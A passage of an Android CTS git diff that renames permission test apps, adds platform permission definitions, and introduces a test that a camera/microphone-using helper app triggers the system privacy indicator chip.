rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
index 7a0e405..acfafa9 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
@@ -15,11 +15,11 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.revokepermissionwhenremoved.installtimepermissionuserapp">
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.installpermissionuserapp">
 
-    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission" />
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission" />
 
-    <application>
-    </application>
+    <application />
 </manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
deleted file mode 100644
index 75ce567..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.revokepermissionwhenremoved.installtimepermissiondefinerapp">
-
-    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission"
-        android:protectionLevel="normal"
-        android:label="TestInstalltimePermission"
-        android:description="@string/test_permission" />
-
-    <application>
-    </application>
-</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml
deleted file mode 100644
index 0943be7..0000000
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
-    <string name="test_permission">Test Installtime Permission</string>
-</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 756be5e..dc10abd 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index cbcaf24..4d4757b 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -1755,6 +1755,16 @@
     <permission android:name="android.permission.WIFI_UPDATE_USABILITY_STATS_SCORE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows system APK to update Wifi/Cellular coex channels to avoid.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.WIFI_UPDATE_COEX_UNSAFE_CHANNELS"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi @hide Allows applications to access Wifi/Cellular coex channels being avoided.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.WIFI_ACCESS_COEX_UNSAFE_CHANNELS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
     <!-- ======================================= -->
@@ -2302,6 +2312,15 @@
     <permission android:name="android.permission.READ_CARRIER_APP_INFO"
         android:protectionLevel="signature" />
 
+    <!-- Must be required by an GbaService to ensure that only the
+         system can bind to it.
+         <p>Protection level: signature
+         @SystemApi
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_GBA_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
     <!-- ================================== -->
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
index 0335357..96b4df7 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
@@ -21,6 +21,10 @@
               android:background="@drawable/border"
               android:padding="8dp" >
 
+    <View android:layout_width="match_parent"
+              android:layout_height="0dp"
+              android:layout_weight="1" />
+
     <TextView android:id="@+id/overlay_description"
               android:layout_width="wrap_content"
               android:layout_height="wrap_content"
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index cb181e3..d313ced 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -394,6 +394,7 @@
                             data = Uri.fromParts("package", APP_PACKAGE_NAME, null)
                             addCategory(Intent.CATEGORY_DEFAULT)
                             addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                            addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
                         }
                 )
                 // Open the permissions UI
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission4/Android.bp
similarity index 62%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/tests/permission4/Android.bp
index f720d7d..ad1658d 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -13,14 +14,24 @@
 // limitations under the License.
 //
 
-android_test_helper_app {
-    name: "CtsInstalltimePermissionUserApp",
+android_test {
+    name: "CtsPermission4TestCases",
+    sdk_version: "system_current",
     defaults: ["cts_defaults"],
-    sdk_version: "current",
-    // Tag this module as a cts test artifact
+    platform_apis: true,
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
     test_suites: [
         "cts",
+        "vts10",
         "general-tests",
+        "mts",
     ],
-    certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission4/AndroidManifest.xml b/tests/tests/permission4/AndroidManifest.xml
new file mode 100644
index 0000000..d4cc71a
--- /dev/null
+++ b/tests/tests/permission4/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission4.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".StartForFutureActivity" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.permission4.cts"
+        android:label="CTS UI tests for permissions">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/permission4/AndroidTest.xml b/tests/tests/permission4/AndroidTest.xml
new file mode 100644
index 0000000..71353aa
--- /dev/null
+++ b/tests/tests/permission4/AndroidTest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS Permission4 test cases">
+
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPermission4TestCases.apk" />
+        <option name="test-file-name" value="CtsAppThatAccessesMicAndCameraPermission.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.permission4.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
similarity index 69%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
index f720d7d..508e44c 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -14,13 +15,23 @@
 //
 
 android_test_helper_app {
-    name: "CtsInstalltimePermissionUserApp",
+    name: "CtsAppThatAccessesMicAndCameraPermission",
     defaults: ["cts_defaults"],
-    sdk_version: "current",
+    sdk_version: "system_current",
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "vts10",
         "general-tests",
     ],
-    certificate: ":cts-testkey2",
+
+    static_libs: [
+        "androidx.test.rules",
+        "kotlin-stdlib",
+        "kotlinx-coroutines-android",
+    ],
+
+    srcs: [
+        "src/**/*.kt"
+    ],
 }
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
new file mode 100644
index 0000000..938b5b5
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.permission4.cts.appthataccessescameraandmic"
+          android:versionCode="1">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+
+    <application android:label="CtsCameraMicAccess">
+        <activity android:name=".AccessCameraOrMicActivity"
+        android:exported="true">
+            <intent-filter>
+                <action android:name="test.action.USE_CAMERA_OR_MIC" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
new file mode 100644
index 0000000..2be6926
--- /dev/null
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission4.cts.appthataccessescameraandmic
+
+import android.app.Activity
+import android.hardware.camera2.CameraAccessException
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.media.AudioFormat.CHANNEL_IN_MONO
+import android.media.AudioFormat.ENCODING_PCM_16BIT
+import android.media.AudioRecord
+import android.media.MediaRecorder.AudioSource.MIC
+import androidx.annotation.NonNull
+import kotlinx.coroutines.GlobalScope
+import kotlinx.coroutines.delay
+import kotlinx.coroutines.launch
+
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val USE_DURATION_MS = 10000L
+private const val SAMPLE_RATE_HZ = 44100
+
+/**
+ * Activity which will, depending on the extra passed in the intent, use the camera, the microphone,
+ * or both.
+ */
+class AccessCameraOrMicActivity : Activity() {
+    private lateinit var cameraId: String
+    private var cameraDevice: CameraDevice? = null
+    private var recorder: AudioRecord? = null
+    private var cameraFinished = false
+    private var runCamera = false
+    private var micFinished = false
+    private var runMic = false
+
+    override fun onStart() {
+        super.onStart()
+        runCamera = intent.getBooleanExtra(USE_CAMERA, false)
+        runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
+
+        if (runMic) {
+            useMic()
+        }
+
+        if (runCamera) {
+            useCamera()
+        }
+    }
+
+    override fun onStop() {
+        super.onStop()
+        cameraDevice?.close()
+        recorder?.stop()
+        finish()
+    }
+
+    private val stateCallback = object : CameraDevice.StateCallback() {
+        override fun onOpened(@NonNull camDevice: CameraDevice) {
+            cameraDevice = camDevice
+            GlobalScope.launch {
+                delay(USE_DURATION_MS)
+                cameraFinished = true
+                if (!runMic || micFinished) {
+                    finish()
+                }
+            }
+        }
+
+        override fun onDisconnected(@NonNull camDevice: CameraDevice) {
+            camDevice.close()
+            throw RuntimeException("Camera was disconnected")
+        }
+
+        override fun onError(@NonNull camDevice: CameraDevice, error: Int) {
+            camDevice.close()
+            throw RuntimeException("Camera error")
+        }
+    }
+
+    @Throws(CameraAccessException::class)
+    private fun useCamera() {
+        val manager = getSystemService(CameraManager::class.java)!!
+        cameraId = manager.cameraIdList[0]
+        manager.openCamera(cameraId, mainExecutor, stateCallback)
+    }
+
+    private fun useMic() {
+        val minSize =
+            AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
+        recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
+        recorder?.startRecording()
+        GlobalScope.launch {
+            delay(USE_DURATION_MS)
+            micFinished = true
+            if (!runCamera || cameraFinished) {
+                finish()
+            }
+        }
+    }
+}
diff --git a/tests/tests/permission4/OWNERS b/tests/tests/permission4/OWNERS
new file mode 100644
index 0000000..d4d6a95
--- /dev/null
+++ b/tests/tests/permission4/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+svetoslavganov@google.com
+moltmann@google.com
+zhanghai@google.com
+eugenesusla@google.com
+evanseverson@google.com
+ntmyren@google.com
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
new file mode 100644
index 0000000..0f36f5a
--- /dev/null
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission4.cts
+
+import android.Manifest
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.app.compat.CompatChanges
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.hardware.camera2.CameraManager
+import android.os.Process
+import android.provider.DeviceConfig
+import android.provider.Settings
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiSelector
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+
+private const val APP_LABEL = "CtsCameraMicAccess"
+private const val USE_CAMERA = "use_camera"
+private const val USE_MICROPHONE = "use_microphone"
+private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
+private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
+private const val INDICATORS_FLAG = "camera_mic_icons_enabled"
+private const val PERMISSION_INDICATORS_NOT_PRESENT = 162547999L
+private const val IDLE_TIMEOUT_MILLIS: Long = 1000
+private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
+private const val TIMEOUT_MILLIS: Long = 20000
+
+class CameraMicIndicatorsPermissionTest {
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.context
+    private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+    private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+    private val packageManager: PackageManager = context.packageManager
+
+    private var wasEnabled = false
+    private val micLabel = packageManager.getPermissionGroupInfo(
+        Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+    private val cameraLabel = packageManager.getPermissionGroupInfo(
+        Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString()
+
+    private var screenTimeoutBeforeTest: Long = 0L
+
+    @Before
+    fun setUp() {
+        runWithShellPermissionIdentity {
+            screenTimeoutBeforeTest = Settings.System.getLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+            )
+            Settings.System.putLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+            )
+        }
+
+        uiDevice.wakeUp()
+        runShellCommand(instrumentation, "wm dismiss-keyguard")
+
+        uiDevice.findObject(By.text("Close"))?.click()
+        wasEnabled = setIndicatorsEnabledStateIfNeeded(true)
+        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+        // the change is set to "false" if present.
+        assumeFalse("feature not present on this device", callWithShellPermissionIdentity {
+            CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT, Process.SYSTEM_UID)
+        })
+    }
+
+    private fun setIndicatorsEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
+        var currentlyEnabled = false
+        runWithShellPermissionIdentity {
+            currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                INDICATORS_FLAG, false)
+            if (currentlyEnabled != shouldBeEnabled) {
+                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                    shouldBeEnabled.toString(), false)
+            }
+        }
+        return currentlyEnabled
+    }
+
+    @After
+    fun tearDown() {
+        if (!wasEnabled) {
+            setIndicatorsEnabledStateIfNeeded(false)
+        }
+        runWithShellPermissionIdentity {
+            Settings.System.putLong(
+                context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+                screenTimeoutBeforeTest
+            )
+        }
+
+        pressHome()
+    }
+
+    private fun openApp(useMic: Boolean, useCamera: Boolean) {
+        context.startActivity(Intent(INTENT_ACTION).apply {
+            putExtra(USE_CAMERA, useCamera)
+            putExtra(USE_MICROPHONE, useMic)
+            addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+        })
+    }
+
+    @Test
+    fun testCameraIndicator() {
+        val manager = context.getSystemService(CameraManager::class.java)!!
+        assumeTrue(manager.cameraIdList.isNotEmpty())
+        testCameraAndMicIndicator(useMic = false, useCamera = true)
+    }
+
+    @Test
+    fun testMicIndicator() {
+        testCameraAndMicIndicator(useMic = true, useCamera = false)
+    }
+
+    private fun testCameraAndMicIndicator(useMic: Boolean, useCamera: Boolean) {
+        openApp(useMic, useCamera)
+        eventually {
+            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+            assertTrue("View with text $APP_LABEL not found", appView.exists())
+        }
+        uiDevice.openNotification()
+        // Ensure the privacy chip is present
+        eventually {
+            val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
+            assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
+            privacyChip.click()
+        }
+        eventually {
+            if (useMic) {
+                val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+                assertTrue("View with text $APP_LABEL not found", appView.exists())
+            }
+            if (useCamera) {
+                val appView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+                assertTrue("View with text $APP_LABEL not found", appView.exists())
+            }
+            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+            assertTrue("View with text $APP_LABEL not found", appView.exists())
+        }
+        pressBack()
+    }
+
+    private fun pressBack() {
+        uiDevice.pressBack()
+        waitForIdle()
+    }
+
+    private fun pressHome() {
+        uiDevice.pressHome()
+        waitForIdle()
+    }
+
+    private fun waitForIdle() =
+        uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS)
+}
\ No newline at end of file
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index 30bd9fc..1992b95 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -16,6 +16,7 @@
 
 package android.preference.cts;
 
+import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.app.UiModeManager;
@@ -31,8 +32,6 @@
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.Window;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
@@ -50,8 +49,7 @@
     private final UiAutomation mAutomation;
     private int mStatusBarHeight = -1;
     private int mNavigationBarHeight = -1;
-    private Display mDisplay;
-    private Window mWindow;
+    private ActivityTestRule<?> mRule;
 
     TestUtils(ActivityTestRule<?> rule) {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -59,8 +57,7 @@
         mPackageName = mContext.getPackageName();
         mDevice = UiDevice.getInstance(mInstrumentation);
         mAutomation = mInstrumentation.getUiAutomation();
-        mDisplay = rule.getActivity().getDisplay();
-        mWindow = rule.getActivity().getWindow();
+        mRule = rule;
     }
 
     void waitForIdle() {
@@ -165,9 +162,10 @@
 
     private boolean hasVerticalNavBar() {
         Rect displayFrame = new Rect();
-        mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+        final Activity activity = mRule.getActivity();
+        activity.getWindow().getDecorView().getWindowVisibleDisplayFrame(displayFrame);
         DisplayMetrics dm = new DisplayMetrics();
-        mDisplay.getRealMetrics(dm);
+        activity.getDisplay().getRealMetrics(dm);
         return dm.heightPixels == displayFrame.bottom;
     }
 
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 3d4c84c..250ae7d 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -23,6 +23,8 @@
         "junit",
         "truth-prebuilt",
         "mockito-target-minus-junit4",
+        // TODO: remove testng once Android migrates to JUnit 4.12, which provides assertThrows
+        "testng",
     ],
 
     jni_libs: [
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 5861cd2..79975c0 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,8 +1,7 @@
 # Bug component: 655625
-nandana@google.com
-zezeozue@google.com
-jsharkey@android.com
-corinac@google.com
+
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
 tgunn@google.com
 nicksauer@google.com
 nona@google.com
diff --git a/tests/tests/provider/res/raw/testvideo2.mp4 b/tests/tests/provider/res/raw/testvideo2.mp4
index 1be8bee..216d330 100644
--- a/tests/tests/provider/res/raw/testvideo2.mp4
+++ b/tests/tests/provider/res/raw/testvideo2.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 660da6d..e842917 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -62,6 +62,7 @@
 
     private Context mContext;
     private boolean mHasTouchScreen;
+    private boolean mHasBluetooth;
 
     private UiDevice mDevice;
 
@@ -74,6 +75,7 @@
 
         mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        mHasBluetooth = packageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
 
         Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 5026c0ed..d54e41d 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -16,8 +16,6 @@
 
 package android.provider.cts.media;
 
-import static android.provider.cts.ProviderTestUtils.assertExists;
-import static android.provider.cts.ProviderTestUtils.assertNotExists;
 import static android.provider.cts.media.MediaStoreTest.TAG;
 
 import static org.junit.Assert.assertEquals;
@@ -26,6 +24,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
 
 import android.content.ContentResolver;
 import android.content.ContentUris;
@@ -60,6 +59,7 @@
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -179,13 +179,13 @@
             new File(externalVideoPath).delete();
         }
 
-        // check that the video file is removed when deleting the database entry
+        // check that the file is not available when deleting the database entry
         Context context = mContext;
